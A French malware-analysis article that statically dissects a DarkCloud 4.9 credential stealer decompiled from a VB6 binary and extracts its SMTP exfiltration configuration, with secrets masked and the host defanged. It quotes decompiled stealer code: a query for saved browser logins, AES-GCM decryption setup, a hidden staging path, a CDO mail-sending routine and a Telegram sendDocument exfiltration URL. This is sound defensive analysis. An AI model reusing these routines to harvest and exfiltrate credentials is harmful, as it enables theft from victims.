DarkCloud 4.9 décompilé avec VBReFormer Gen 2 (7.x)
Un exécutable Visual Basic 6 peut contenir une logique de vol de données, plusieurs transports d’exfiltration et une configuration lisible, tout en restant difficile à interpréter avec un simple extracteur de chaînes. Les valeurs intéressantes sont dispersées entre métadonnées VB, chaînes Unicode, arguments de procédures et appels au runtime.
Cette étude examine un échantillon s’identifiant comme DarkCloud 4.9 à partir de son binaire et du code reconstruit avec VBReFormer Gen 2, génération 7.x. L’objectif est celui d’un analyste de malware : comprendre les données recherchées, suivre leur préparation et établir quel transport d’exfiltration est configuré.
Le résultat dépasse une liste de chaînes : l’analyse distingue un transport SMTP activé de trois branches FTP, HTTP et Telegram désactivées dans ce build. Elle restitue également le serveur SMTP, les comptes, le mot de passe, le port, le paramètre SSL, le mode d’authentification et le répertoire de staging.
L’échantillon n’a jamais été exécuté. La décompilation, les vérifications YARA et l’extraction ont porté uniquement sur ses octets. Les conclusions sur les fonctionnalités décrivent donc le code et sa configuration statique, sans prétendre constituer une observation réseau ou une exécution réussie.
Pour suivre l’analyse, ouvrir la procédure de configuration dans la démonstration VBReFormer, Module7.proc_46CD10. Le formulaire Form1 est également consultable.
Cette étude accompagne l’annonce du support des exécutables VB5/VB6 dans Malva.RE. Elle rejoint deux fonctions déjà présentées sur ce site : la décompilation VBA et la détection de VBA Stomping pour les documents Office, et l’extraction de configuration pour les familles déjà prises en charge.
1. L’échantillon et le périmètre de l’étude
| Propriété | Observation |
|---|---|
| SHA-256 | 367383cfaa2ffc1404ba4ac1364a96992d78e036a0a67c994fbd6686f636474e |
| Taille | 471 040 octets, soit 460 Kio |
| Format | Exécutable PE x86 |
| Runtime importé | MSVBVM60.DLL |
| Sections observées | .text, .data, .rsrc |
| Compilation reconnue par VBReFormer | Code natif |
| Marqueur interne | Agent: DARKCLOUD V4.9 |
| Exécution du programme | Aucune |
La version 4.9 provient d’une chaîne interne du programme. C’est un élément d’identification, pas une garantie d’authenticité de la version revendiquée.
L’import de MSVBVM60.DLL donne une première indication sur le runtime. Il ne constitue pas l’inventaire des API utilisées : les déclarations VB et les appels tardifs peuvent faire apparaître des opérations absentes d’une lecture limitée à la table d’imports PE.
Cette étude porte sur un échantillon VB6 natif. VBReFormer Gen 2 (7.x) permet également d’aborder des exécutables VB5/VB6 en P-code. Il reste nécessaire d’identifier la forme de compilation de chaque fichier : les conclusions établies sur ce programme natif ne décrivent pas automatiquement un autre échantillon.
2. Pourquoi décompiler le VB5/VB6 demande un traitement spécifique
VB5/VB6 classique, VBA et VB.NET partagent une partie de leur syntaxe, mais pas leur format d’exécution.
| Technologie | Matière à analyser |
|---|---|
| VBA | Projet embarqué, flux de macros et représentation compilée propre à Office |
| VB.NET | Assemblage .NET, métadonnées CLR et code IL |
| VB5/VB6 natif | PE x86, métadonnées VB, instructions machine et conventions du runtime |
| VB5/VB6 P-code | Métadonnées VB et instructions destinées à la machine virtuelle VB |
Dans un programme VB6 natif, le désassemblage x86 doit être rapproché des structures du projet, des objets et des conventions du runtime pour reconstruire des procédures lisibles. Les chaînes BSTR, les valeurs VARIANT et les appels COM tardifs expliquent une part importante de la différence entre une suite d’instructions et une opération de haut niveau.
La signature historique VB5! est un indice de structure, pas une preuve que le programme a été compilé avec VB5 : elle peut aussi être rencontrée dans un exécutable VB6. L’analyste doit la rapprocher du format PE, des références au runtime et des autres informations du projet.
La sortie reste une reconstruction. Les noms locaux, les commentaires d’origine et certaines informations du projet ne sont pas récupérables comme s’ils avaient été stockés intégralement dans l’exécutable. Les noms proc_46CD10 ou g_471034 permettent de naviguer dans l’analyse ; ils ne doivent pas être présentés comme les noms originaux choisis par l’auteur.
3. YARA : un point d’entrée de hunting, puis une analyse dédiée
La règle Hunt_DarkCloud_Stealer_Variants a été publiée par Evelyne Diaz Araque chez Stairwell le 21 août 2025. Elle vise DarkCloud et des artefacts aux capacités similaires ; son objectif de hunting impose de corroborer un match par d’autres éléments du fichier. Règle et contexte publiés par Stairwell.
Elle comporte trois possibilités de correspondance : au moins six indicateurs du groupe $s* ; un marqueur du groupe $d* associé à au moins trois chaînes $t* ; ou au moins quatre indicateurs $c*.
Le test effectué avec YARA 4.1.1, sans modifier les chaînes, leurs qualificatifs ou la condition, donne :
| Groupe | Indicateurs présents | Condition associée | Résultat |
|---|---|---|---|
$s* | 14 / 14 | Au moins 6 | Satisfaite |
$d* | 0 / 6 | Au moins 1, avec $t* | Non satisfaite |
$t* | 0 / 6 | Au moins 3, avec $d* | Non satisfaite |
$c* | 0 / 6 | Au moins 4 | Non satisfaite |
Les trois conditions sont alternatives : l’absence de correspondance dans les autres groupes n’annule pas le match obtenu avec les quatorze indicateurs $s*.
Les encodages comptent. Une chaîne présente en UTF-16LE n’est pas nécessairement reconnue par une recherche ascii. De même, fullword impose une limite de mot : élargir une règle en supprimant ses qualificatifs changerait sa portée. L’interprétation d’un match doit respecter ces distinctions.
Pour l’analyste, le match constitue un point de départ. Le marqueur de version, les références VB6, les routines de collecte et la procédure d’exfiltration apportent ensuite des éléments de corroboration indépendants du seul résultat YARA.
4. Ce que VBReFormer a reconstruit
L’export du projet comprend les fichiers suivants :
| Fichier | Rôle dans l’export |
|---|---|
Project1.vbp | Description reconstruite du projet VB |
Form1.frm | Formulaire, propriétés et gestionnaires d’événements |
Form1.frx | Ressources binaires associées au formulaire |
Module1.bas | Routines de collecte et de traitement d’identifiants |
Module2.bas | Initialisation, staging, utilitaires et traitements cryptographiques |
Module3.bas | Collecte et préparation de contacts |
Module5.bas | Routines de lecture de données de clients de messagerie |
Module7.bas | Routage de l’exfiltration et implémentations des transports |
| Fichiers d’accompagnement de l’export | Aides à la lecture du projet reconstruit et signalement des éléments non restitués |
EXPORT-NOTES.txt | Diagnostics et informations non récupérées |
Cela représente 11 fichiers, dont huit vues de code. Ces huit vues comprennent cinq modules applicatifs, un formulaire et deux modules d’aide générés : il ne faut pas les confondre avec huit modules d’origine du malware.
L’intérêt de cet export est de rendre les routines consultables dans leur contexte : les événements du formulaire conduisent à l’initialisation, les modules de collecte préparent des fichiers et le module de transport reçoit les valeurs nécessaires à l’envoi.
Dans les extraits suivants, les procédures gardent les noms de l’export. Les coupes sont annoncées ; les identifiants sensibles sont masqués.
5. Du formulaire invisible à la collecte
5.1. Le point d’entrée du formulaire
Le fichier Form1.frm contient un formulaire dont les propriétés initiales incluent Visible = 0 et ShowInTaskbar = 0. La présence d’un formulaire VB n’implique donc pas une interface immédiatement visible.
Son événement de chargement conduit à l’initialisation :
Private Sub Form_Load()
On Error Resume Next
Module2.proc_45E960
End Sub
Extrait de Form1.frm, procédure Form_Load, sans modification.
La gestion d’erreur On Error Resume Next est conservée dans le code reconstruit. Son existence ne permet pas de conclure que les opérations suivantes aboutiront : elle peut aussi masquer leurs échecs.

Form1 dans VBReFormer Online : l’arbre du projet expose Form_Load et les cinq timers ; la source montre Form_Load, qui lance l’initialisation, et Timer5_Timer, qui parcourt le staging par libellés. Capture non retouchée.
5.2. Un répertoire de staging dépendant de l’utilisateur
La procédure Module2.proc_45E960 construit ce chemin :
g_471034 = CStr(((((Environ("AppData") + "\Microsoft\Windows\Templates\") + Environ("COMPUTERNAME")) & "-") & Environ("USERNAME")))
Ligne extraite de Module2.bas, procédure proc_45E960.
La représentation symbolique utile au rapport est :
%AppData%\Microsoft\Windows\Templates\%COMPUTERNAME%-%USERNAME%
Pour documenter le comportement, il faut conserver ces variables sous forme symbolique. Le chemin concret dépend de l’utilisateur et de la machine sur lesquels le malware serait lancé. Le remplacer par le profil du poste d’analyse ferait perdre cette distinction.
L’initialisation recherche également winsqlite3.dll et prévoit une branche de repli faisant intervenir vbsqlite3.dll et une ressource de Picture2. Le chemin de staging reconstruit doit être distingué des chemins absolus de bibliothèque présents dans d’autres déclarations VB.
Enfin, deux appels visibles relient l’initialisation aux routines de collecte :
Module1.proc_4452A0
Module3.proc_468300
Deux lignes sélectionnées dans Module2.proc_45E960.
5.3. Identifiants de navigateurs : SQLite et primitives cryptographiques
Dans Module1.bas, les chaînes et les opérations reconstruites désignent notamment les bases Login Data et Web Data. La requête suivante explicite la cible d’une routine :
ErrStr = "SELECT origin_url, username_value, password_value FROM logins"
Ligne extraite de Module1.proc_44B7E0.
Le code contient aussi la lecture de Local State et des champs os_crypt / encrypted_key. D’autres routines font appel à CryptUnprotectData et aux API CNG, dont BCryptOpenAlgorithmProvider, BCryptSetProperty et BCryptDecrypt.
L’extrait ci-dessous montre les paramètres AES-GCM visibles à l’initialisation du traitement :
If BCryptOpenAlgorithmProvider(var_5C, VarPtr("AES"), 0, 0) < 0 Then
ElseIf BCryptSetProperty(var_5C, VarPtr("ChainingMode"), VarPtr("ChainingModeGCM"), 32, 0) < 0 Then
ElseIf BCryptGenerateSymmetricKey(var_5C, var_14, 0, 0, VarPtr(arg_8(0)), (UBound(arg_8, 1) + 1), 0) < 0 Then
Else
' Suite de la procedure omise dans cet extrait.
End If
Extrait abrégé de Module2.proc_45DBF0 ; le commentaire de coupe est éditorial.
Ces observations établissent la présence de chemins de lecture et de déchiffrement dans le programme. Elles ne démontrent pas que l’échantillon pourrait récupérer tous les secrets de toutes les versions de navigateurs. DPAPI dépend généralement du contexte de protection, notamment de l’utilisateur et de la machine ; l’analyse du malware n’a pas consisté à déchiffrer des données de victimes. Documentation Microsoft de CryptUnprotectData.
5.4. Contacts et fichiers préparés pour l’envoi
Module3.proc_468300 appelle des routines de Module5 puis prépare des fichiers dont les préfixes indiquent notamment :
Contacts_Thunderbird_;Contacts_163MailContacts_;Contacts_EMClient10Contacts_.
Une branche de collecte de contacts suit cette séquence :
g_471064 = Module5.proc_4696A0()
If g_471064 <> vbNullString Then
' Construction du chemin et ecriture du resultat omises.
Module7.proc_46CD10 var_28, var_2C
Sleep 1000
End If
Extrait abrégé de Module3.proc_468300. Les lignes intermédiaires ont été remplacées par un commentaire éditorial.
La procédure d’exfiltration reçoit ainsi un libellé et un chemin de fichier. La condition sur une chaîne non vide est importante : le code prépare l’envoi lorsqu’une routine de collecte a renvoyé un résultat.
5.5. Un timer organise aussi des recherches de fichiers
Form1.Timer5_Timer incrémente un compteur, puis appelle une routine avec les libellés Cookies, Contacts, Screenshot et KeyData avant de remettre le compteur à zéro.
Deux erreurs d’interprétation sont à éviter. Un seuil de 1000 événements n’est pas une période démontrée de 1000 ms. La livraison des événements dépend du fonctionnement des timers et de la boucle de messages ; Windows impose aussi des contraintes aux temporisations. Documentation Microsoft de SetTimer.
Ensuite, ces libellés ne suffisent pas à prouver que tous les mécanismes producteurs de fichiers fonctionnent dans ce build. Module2.proc_45E510 parcourt les noms présents dans le staging et appelle le dispatcher pour ceux qui correspondent au libellé recherché. C’est un mécanisme de sélection et d’envoi de fichiers, pas à lui seul la preuve d’un keylogger ou d’une capture d’écran opérationnels.
6. La configuration se lit dans le dispatcher d’exfiltration
La procédure centrale est Module7.proc_46CD10. Son code contient quatre branches, mais leurs conditions constantes déterminent lesquelles sont activées.
Le comportement se vérifie dans la vue publique de cette procédure de configuration.

Démonstration VBReFormer Online, Module7.proc_46CD10, lignes 15 à 30 : la branche FTP désactivée et ses marqueurs, puis la branche SMTP activée. Capture retouchée avant publication : les quatre variables dont le nom reprenait un identifiant sont renommées sValeurMasquee1 à sValeurMasquee4, leurs valeurs remplacées par <masqué>, l’hôte désarmé. Le reste de l’affichage est inchangé.
Le fragment suivant conserve la structure du dispatcher. Les variables SMTP dont les noms révèlent des identifiants ont été renommées ; les comptes, le serveur et le mot de passe ont été remplacés par des marqueurs de rédaction. Les paramètres var_38 et var_4C et les noms de procédures sont conservés.
If 0 = -1 Then
sStrFtpPass = "@StrFtpPass"
sStrFtpUser = "@StrFtpUser"
sStrFtpServer = "@StrFtpServer"
proc_46CD10 = Module7.proc_46EEA0(sStrFtpServer, sStrFtpUser, sStrFtpPass, arg_C)
End If
If -1 = -1 Then
var_38 = 0
var_4C = 587
smtpPassword = "<MOT_DE_PASSE_MASQUE>"
smtpUsername = "<COMPTE_SMTP_MASQUE>"
smtpServer = "<HOTE_SMTP>"
smtpRecipient = "<DESTINATAIRE_MASQUE>"
proc_46CD10 = Module7.proc_46DBA0(smtpRecipient, smtpServer, smtpUsername, smtpPassword, arg_8, arg_C, var_4C, var_38)
End If
If 0 = -1 Then
sGateUrl = "@GateUrl"
proc_46CD10 = Module7.proc_46CFF0(arg_8, arg_C, sGateUrl)
End If
If 0 = -1 Then
sChatID = "@ChatID"
sStrBotToken = "@StrBotToken"
proc_46CD10 = Module7.proc_46E5A0(sStrBotToken, sChatID, arg_8, arg_C)
End If
En VB, les valeurs booléennes usuelles sont False = 0 et True = -1. Ici, les comparaisons ont un résultat constant : 0 = -1 est faux, tandis que -1 = -1 est vrai. Ces représentations sont cohérentes avec les conventions VARIANT_BOOL documentées par Microsoft. Types VARIANT et constantes associées.
| Transport | Condition du dispatcher | État pour ce build | Valeurs observées |
|---|---|---|---|
| FTP | 0 = -1 | Désactivé | Marqueurs du builder |
| SMTP | -1 = -1 | Activé | Paramètres renseignés |
| HTTP | 0 = -1 | Désactivé | @GateUrl |
| Telegram | 0 = -1 | Désactivé | @StrBotToken et @ChatID |
La structure et les marqueurs sont compatibles avec un agent issu d’un builder proposant plusieurs modes de sortie. C’est une inférence à partir du code : elle n’exige ni l’accès au builder ni l’hypothèse que tous ces modes soient utilisés simultanément.
7. SMTP : ce que la source révèle et ce que le binaire complète
7.1. Propager les arguments jusqu’au traitement CDO
Le dispatcher passe huit arguments à proc_46DBA0. Leur utilisation dans la procédure associe les valeurs récupérées à leurs rôles : destinataire, serveur, compte expéditeur et d’authentification, mot de passe, sujet, fichier, port et paramètre SSL.
Quelques lignes de la procédure rendent l’intention lisible :
var_40.To = arg_8
var_40.Subject = arg_18
var_40.TextBody = ""
Set var_2C = var_40.Configuration
var_2C.fields("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
var_2C.fields("http://schemas.microsoft.com/cdo/configuration/sendusername") = arg_10
var_2C.fields.Update
var_40.send
Lignes sélectionnées de Module7.proc_46DBA0 ; les instructions intermédiaires ne sont pas représentées.

Module7.proc_46DBA0 dans VBReFormer Online : configuration CDO, appels tardifs non reconstruits signalés en commentaire, sujet construit avec COMPUTERNAME et USERNAME. Les valeurs sensibles n’y apparaissent que sous forme d’arguments. Capture non retouchée.
Dans la branche activée de ce build, le mécanisme d’envoi utilise une configuration de messagerie. Le compte SMTP, l’expéditeur et le destinataire ont des rôles distincts, même si deux champs portent ici la même valeur. Les confondre dans une simple liste d’adresses ferait perdre le sens de la procédure.
7.2. Ne pas inventer un appel COM non reconstruit
Pour certains réglages CDO, l’export signale une limite :
' [runtime non reconstruit] __vbaLateCallSt var_2C, &H44465C&, 1, 1
Commentaire réellement présent dans Module7.proc_46DBA0.
Ce commentaire invite à revenir au désassemblage. L’analyste doit établir quel champ est renseigné et avec quel type de valeur avant de traduire cet appel en une affectation de haut niveau. La proximité d’un mot de passe, à elle seule, ne résout pas cette question.
Au voisinage de la référence à http://schemas.microsoft.com/cdo/configuration/smtpauthenticate, le désassemblage donne notamment :
0046e1b3 mov eax, 0x444670
0046e1b8 mov dword ptr [ebp - 0xdc], eax
0046e1be mov ecx, 8
0046e1c3 mov dword ptr [ebp - 0xe4], ecx
0046e1c9 mov dword ptr [ebp - 0xfc], 1
0046e1d3 mov dword ptr [ebp - 0x104], 2
Instructions extraites du binaire de référence. Dans ce fichier, 0x444670 désigne la chaîne du champ CDO ; ces adresses ne sont pas des constantes universelles de DarkCloud.

Vue Assembleur de la même procédure dans VBReFormer Online : l’appel __vbaVarLateMemCallSt (ligne 432), puis la chaîne 0x444670 et le VARIANT de type 2, valeur 1 (lignes 433 à 438). Capture non retouchée.
La paire portant le type 2 et la valeur 1 correspond à un VARIANT numérique VT_I2 contenant 1. Le type 8 désigne quant à lui une BSTR. Cette lecture des types est appuyée par la documentation VARENUM.
Pour CDO, smtpauthenticate=1 correspond au mode cdoBasic. La valeur est retrouvée dans le binaire ; elle n’est pas déduite de la simple présence d’un mot de passe. Énumération Microsoft CdoProtocolsAuthentication.
Cette lecture relie trois observations du malware : une référence au nom du champ CDO, la préparation d’une chaîne de type BSTR et une valeur numérique passée à l’opération. Elle fournit une justification vérifiable au réglage d’authentification. Sur un autre fichier, les adresses et l’organisation des instructions devront être examinées à nouveau.
7.3. La configuration récupérée
| Champ | Résultat publié |
|---|---|
| Transport | SMTP activé |
| Serveur | mail[.]mokasco[.]com, forme désarmée |
| Port | 587 |
| Compte SMTP | Présent en clair dans le fichier ; masqué ici |
| Expéditeur | Même valeur que le compte dans cette routine ; masquée |
| Destinataire | Présent en clair ; masqué |
| Mot de passe | Présent en clair ; masqué |
| Paramètre SSL | false |
| Authentification | 1, correspondant à cdoBasic |
L’hôte est une valeur extraite du binaire, pas une affirmation sur son activité actuelle ou sur l’identité de l’auteur du malware. Un nom de domaine configuré ne permet pas d’attribuer l’opération à son propriétaire.
De même, UseSsl=false et le port 587 décrivent des paramètres statiques. Sans exécution ni capture réseau, nous n’avons observé ni négociation effective, ni authentification réussie, ni réception d’un message. L’article ne présente donc pas un échange réseau comme s’il avait été mesuré.
8. Les transports présents mais désactivés
Les autres procédures restent intéressantes pour comprendre le programme et rapprocher des variantes.

Même procédure, lignes 32 à 40 : les branches HTTP et Telegram, désactivées par 0 = -1, avec leurs marqueurs @GateUrl, @ChatID et @StrBotToken. Capture non retouchée.
Le chemin FTP utilise InternetOpenA et InternetConnectA avec le port 21, puis FtpPutFileA. Sa présence explique les marqueurs @StrFtpServer, @StrFtpUser et @StrFtpPass. Dans ce dispatcher, la branche est fausse et les paramètres sont restés des marqueurs.
Le chemin HTTP construit une URL à partir d’une passerelle et d’un paramètre ?id=, puis utilise des appels WinINet pour l’envoi. @GateUrl est un emplacement à remplacer, pas une URL opérationnelle.
La procédure Telegram contient une construction reconnaissable :
var_28 = ((((("https://api.telegram.org/bot" & arg_8) & "/sendDocument?chat_id=") & arg_C) & "&caption=") & arg_10)
Ligne extraite de Module7.proc_46E5A0.

Module7.proc_46E5A0 dans VBReFormer Online : la route Telegram existe dans le code, mais le dispatcher ne l’appelle jamais dans ce build. Capture non retouchée.
Elle est associée à un envoi multipart. Toutefois, les valeurs @StrBotToken et @ChatID n’ont pas été remplacées dans la configuration étudiée, et l’appel du dispatcher est désactivé. L’existence de cette chaîne ne justifie donc pas de classer api.telegram.org comme l’infrastructure d’exfiltration active de cet échantillon.
La fin du dispatcher contient également :
If proc_46CD10 = -1 Then
Kill arg_C
End If
Extrait de Module7.proc_46CD10.
Le code exprime une suppression du fichier passé en argument après un résultat positif du transport. Il ne démontre pas une auto-suppression de l’exécutable : arg_C correspond ici au fichier à transmettre.
9. Établir la configuration à partir du rôle des valeurs
Une recherche de chaînes peut retrouver un domaine, des adresses électroniques, un mot de passe et des marqueurs du builder. Le travail de reverse engineering consiste à relier ces valeurs à une branche et à une opération précises.
Dans ce cas, l’appel à Module7.proc_46DBA0 fournit une grille de lecture concrète :
| Paramètre de la procédure | Rôle établi par son utilisation |
|---|---|
arg_8 | Destinataire du message |
arg_C | Serveur SMTP |
arg_10 | Compte SMTP et valeur utilisée comme expéditeur |
arg_14 | Mot de passe transmis à la configuration d’envoi |
arg_18 | Libellé utilisé dans le sujet |
arg_1C | Chemin du fichier à joindre |
arg_20 | Port SMTP |
arg_24 | Valeur du réglage SSL |
Cette distinction explique pourquoi un compte d’authentification n’est pas forcément le destinataire des données. Elle permet aussi de séparer les paramètres fixes de ce build, comme le serveur et le port, des informations assemblées au moment de la collecte, comme le sujet et le chemin du fichier.
La configuration suivante est une synthèse d’analyse anonymisée, avec un hôte désarmé :
{
"family": "DarkCloud",
"declared_version": "4.9",
"analysis": "static",
"staging_directory": "%AppData%\\Microsoft\\Windows\\Templates\\%COMPUTERNAME%-%USERNAME%",
"transports": {
"smtp": {
"enabled": true,
"server_defanged": "mail[.]mokasco[.]com",
"port": 587,
"username": "<MASQUE>",
"sender": "<MASQUE>",
"recipient": "<MASQUE>",
"password": "<MASQUE>",
"use_ssl": false,
"authentication": 1
},
"ftp": { "enabled": false },
"http": { "enabled": false },
"telegram": { "enabled": false }
}
}
Il faut garder séparées les valeurs renseignées, les expressions dépendant de l’environnement, les marqueurs non remplacés et les éléments encore indéterminés. Une configuration de transport établie ne signifie pas que toute la logique du malware est connue.
10. Pourquoi le VB6 est particulièrement difficile à décompiler
10.1. Le runtime masque une partie du sens
Un désassemblage x86 montre des instructions, des adresses et des appels. Dans un programme VB6, une partie de leur signification dépend des conventions du runtime : conversion de types, construction de valeurs, manipulation d’objets, gestion des chaînes et appels de membres.
Le commentaire __vbaLateCallSt rencontré dans la procédure SMTP illustre ce problème. Le nom de la primitive du runtime ne révèle pas à lui seul qu’une propriété CDO configure une authentification. Il faut identifier l’objet visé, la propriété et les arguments.
Pour DarkCloud, cette difficulté a un effet direct sur l’analyse : une mauvaise lecture peut transformer un réglage d’envoi en valeur inconnue, ou attribuer à un paramètre le rôle de son voisin. Comprendre le runtime VB6 est donc nécessaire pour rendre compte des opérations de collecte et d’exfiltration.
10.2. Une adresse ne suffit pas à connaître le type d’une donnée
En x86, un entier, un pointeur, un handle et une référence vers une donnée peuvent occuper des emplacements de même taille. Leur interprétation dépend du contexte.
Le VB6 ajoute ses propres conventions. Une BSTR représente une chaîne avec une longueur associée ; un VARIANT porte un type et une valeur ; un tableau d’octets ne se lit pas comme une chaîne terminée par zéro. Une BSTR peut même contenir des caractères nuls internes : sa longueur doit être prise en compte. Les conversions CStr, StrConv ou les usages de VarPtr observés dans DarkCloud font circuler des données entre ces représentations. Documentation Microsoft du type BSTR.
Dans les routines cryptographiques, l’analyste doit ainsi distinguer la référence vers un tampon, sa taille et le résultat de l’opération. Dans le transport SMTP, il doit distinguer un booléen représenté par 0 ou -1 d’une valeur numérique comme le port 587 ou le mode d’authentification 1. Le désassemblage de la valeur VARIANT présenté plus haut montre pourquoi cette distinction est décisive.
10.3. Le point d’entrée PE n’est pas toute la logique du programme
Une lecture centrée sur le seul point d’entrée de l’exécutable ne décrit pas complètement un programme événementiel. Le chargement d’un formulaire et les événements de ses contrôles peuvent conduire à des procédures importantes.
Dans cet échantillon, Form_Load déclenche l’initialisation, alors que Timer5_Timer organise une sélection récurrente de fichiers. Les propriétés de Form1 indiquent par ailleurs un formulaire initialement invisible et absent de la barre des tâches.
Les objets et les ressources ne sont donc pas accessoires à l’analyse. La référence à Picture2 dans une branche de repli liée à SQLite justifie aussi l’examen des ressources du formulaire, même si aucun affichage graphique n’est nécessaire à la collecte.
10.4. Natif et P-code sont deux problèmes différents
Le terme « programme VB6 » ne suffit pas à choisir une méthode de lecture. Une compilation native conduit à des instructions x86 ; une compilation P-code appelle une lecture des instructions de la machine virtuelle VB. Microsoft décrit ce choix de compilation dans son rappel historique de Visual Basic 5 et 6.
Dans les deux cas, l’analyste cherche les mêmes réponses : quelles données sont visées, comment elles sont transformées et quelle destination est utilisée. Le chemin qui mène aux réponses diffère. C’est pourquoi une simple reconnaissance du runtime ne remplace pas l’identification de la forme de compilation et l’examen du code correspondant.
10.5. Une reconstruction lisible reste une pièce à interpréter
Les noms locaux d’origine et les commentaires ne réapparaissent pas automatiquement dans un exécutable. Des noms de travail sont nécessaires pour rendre le résultat navigable. Certaines expressions ou structures peuvent aussi rester incomplètes.
La bonne lecture consiste à partir d’une procédure, suivre ses appels, relever les arguments significatifs et revenir au binaire lorsqu’une conclusion importante n’est pas suffisamment étayée. Le réglage CDO de DarkCloud est un exemple de cette démarche : le texte reconstruit situe l’opération, et les instructions natives apportent un complément de preuve.
11. L’apport de VBReFormer Gen 2, versions 7.x
11.1. Retrouver le programme derrière les instructions
Pour ce type d’étude, l’usage de VBReFormer Gen 2 (7.x) est indispensable à la démarche présentée : il donne accès à une représentation du programme où les formulaires, les procédures et leurs appels peuvent être étudiés ensemble.
Dans DarkCloud, cela permet de passer de Form1 à Module2.proc_45E960, puis des routines de collecte à Module7.proc_46CD10. La question « où vont les données ? » se traite alors à partir d’une procédure identifiable, de ses conditions et de ses arguments.
L’apport est particulièrement visible dans le dispatcher : quatre transports apparaissent dans le fichier, mais la lecture des comparaisons constantes établit qu’un seul est activé pour ce build. La liste des chaînes aurait, à elle seule, conservé quatre hypothèses.

Vue d’ensemble de la démonstration : l’arbre du projet reconstruit, modules, procédures de Module7, ressources et structures, et la source de proc_46CD10. Capture retouchée : identifiants masqués comme ci-dessus.
11.2. Travailler sur des procédures et des objets reconnaissables
Pour le reverse engineer, l’apport de VBReFormer Gen 2 (7.x) se concrétise dans la consultation du code reconstruit, la navigation dans le projet, la lecture des formulaires et de leurs ressources, et la confrontation avec les vues de bas niveau.
Le cas DarkCloud donne plusieurs critères concrets pour juger cet apport :
| Question d’analyse | Élément de code permettant d’y répondre |
|---|---|
| Quel événement lance l’initialisation ? | Form1.Form_Load |
| Où les résultats sont-ils préparés ? | Construction de g_471034 dans Module2 |
| Quels types de données sont recherchés ? | Requêtes SQLite, chemins de profils et routines de contacts |
| Quel transport est sélectionné ? | Conditions de Module7.proc_46CD10 |
| À quoi correspondent les comptes trouvés ? | Utilisation des arguments dans la procédure SMTP |
| Que devient le fichier après un résultat positif ? | Kill arg_C dans le dispatcher |
Ces réponses rendent possible une analyse argumentée du malware. Elles permettent aussi de partager un constat avec un autre analyste en pointant vers une procédure et une instruction, plutôt que vers une interprétation sans contexte.
11.3. Comprendre la logique, pas seulement extraire des littéraux
La présence de api.telegram.org dans le fichier attire légitimement l’attention. Le code reconstruit montre toutefois des marqueurs non remplacés et une condition fausse pour cette branche. À l’inverse, les valeurs SMTP sont utilisées dans une branche vraie et transmises à une procédure d’envoi.
C’est à ce niveau que VBReFormer Gen 2 (7.x) apporte une valeur essentielle : rapprocher les données de la logique qui les utilise. Une clé, un compte, une URL ou un nom de fichier prennent leur sens par leur position dans le programme.
La portée de cette étude reste précise : les extraits démontrent une analyse d’un DarkCloud VB6 natif. Ils ne constituent pas une comparaison chiffrée avec les générations précédentes du logiciel, ni une garantie de restitution intégrale de tout exécutable VB5/VB6.
12. Ce que DarkCloud révèle au-delà de sa configuration
12.1. Un agent de collecte organisé autour de fichiers
Les routines de contacts et le sélecteur de fichiers conduisent tous deux vers Module7.proc_46CD10. Le transport reçoit un libellé et un chemin, tandis que la collecte prépare les données en amont.
Cette organisation explique la place du répertoire de staging. Elle permet de relier les noms de fichiers Contacts_Thunderbird_ ou les sélections Cookies et KeyData à une même fonction de sortie, sans confondre les routines qui produisent les données avec celles qui les transmettent.
Le libellé contribue aussi à la présentation du message. Dans une branche de la procédure SMTP, le sujet combine ce libellé, COMPUTERNAME, USERNAME et une valeur globale supplémentaire. Le code indique une volonté d’associer les résultats à leur environnement d’origine ; le rôle exact de la dernière valeur ne doit pas être inventé.
12.2. Trois questions cryptographiques à ne pas confondre
Les appels AES-GCM et DPAPI ne signifient pas que la configuration SMTP est chiffrée. Trois sujets différents apparaissent dans cette étude :
| Sujet | Observation dans l’échantillon |
|---|---|
| Protection des secrets visés | Routines faisant intervenir les API de déchiffrement et les données de profils |
| Stockage des paramètres d’exfiltration | Comptes et mot de passe SMTP présents en clair dans ce fichier |
| Protection du transport réseau | Paramètre SSL désactivé dans la configuration ; échange réel non observé |
Une analyse qui conclurait « configuration chiffrée en AES » à partir de la seule présence de BCryptDecrypt manquerait donc le rôle de ces procédures. Il faut suivre les entrées et les sorties de chaque routine pour déterminer quelles données elles traitent.
12.3. Des choix de build conservés dans le binaire
Les quatre branches de transport et les marqueurs restants sont utiles pour comparer des échantillons. Un autre build pourrait renseigner le canal Telegram ou la passerelle HTTP, tout en conservant une grande partie du code de collecte.
Cette possibilité justifie de séparer les caractéristiques de famille et la configuration d’une instance. Le nom du transport rencontré dans un fichier, la présence de son code et son activation effective sont trois observations différentes.
Le serveur SMTP de ce cas est ainsi un indicateur propre à la configuration examinée. Il ne doit pas devenir une condition indispensable pour reconnaître toute la famille DarkCloud.
12.4. La suppression du fichier n’est pas un accusé de réception
Le dispatcher prévoit de supprimer arg_C lorsque le transport lui a renvoyé un résultat positif. Ce résultat exprime le chemin prévu par le programme ; il ne remplace pas l’observation d’une livraison effective à destination.
De même, la suppression du fichier à transmettre ne signifie pas l’effacement de l’exécutable ou de toutes les traces locales. L’objet concerné doit être identifié par le rôle du paramètre, pas seulement par la présence de l’instruction Kill.
12.5. Les limites de ce constat statique
Les éléments établis sont le marqueur de version, les routines présentes, les arguments du dispatcher et les paramètres de la branche SMTP. L’étude ne comporte ni connexion à l’infrastructure extraite, ni essai des identifiants, ni envoi de message.
Des fragments du code reconstruit restent incomplets. Une valeur ou une opération non restituée doit rester une question ouverte tant qu’elle n’a pas été résolue par des éléments vérifiables du fichier.
Enfin, les noms Screenshot et KeyData décrivent ici des catégories de fichiers recherchés par une routine. Pour conclure à une capture d’écran ou à un keylogger fonctionnels, il faudrait établir les procédures productrices, leurs conditions d’appel et leurs effets. Cette distinction évite d’attribuer au build toutes les fonctions évoquées par ses chaînes.
13. Points de recherche pour les analystes
L’intérêt de ce cas est la combinaison des indices et de leurs rôles.
| Élément | Utilité et précaution |
|---|---|
| SHA-256 du fichier | Identifie exactement l’échantillon étudié |
Agent: DARKCLOUD V4.9 | Marqueur interne corroborant l’analyse de famille |
mail[.]mokasco[.]com | Hôte SMTP configuré ; aucune conclusion sur son statut actuel |
Chemin Microsoft\Windows\Templates personnalisé | Indice de staging à corréler à d’autres observations |
vbsqlite3.dll et références SQLite | Indices de lecture de données ; pas une preuve de malveillance isolée |
@GateUrl, @StrBotToken, @ChatID | Marqueurs de builder ; pas des IOC réseau opérationnels |
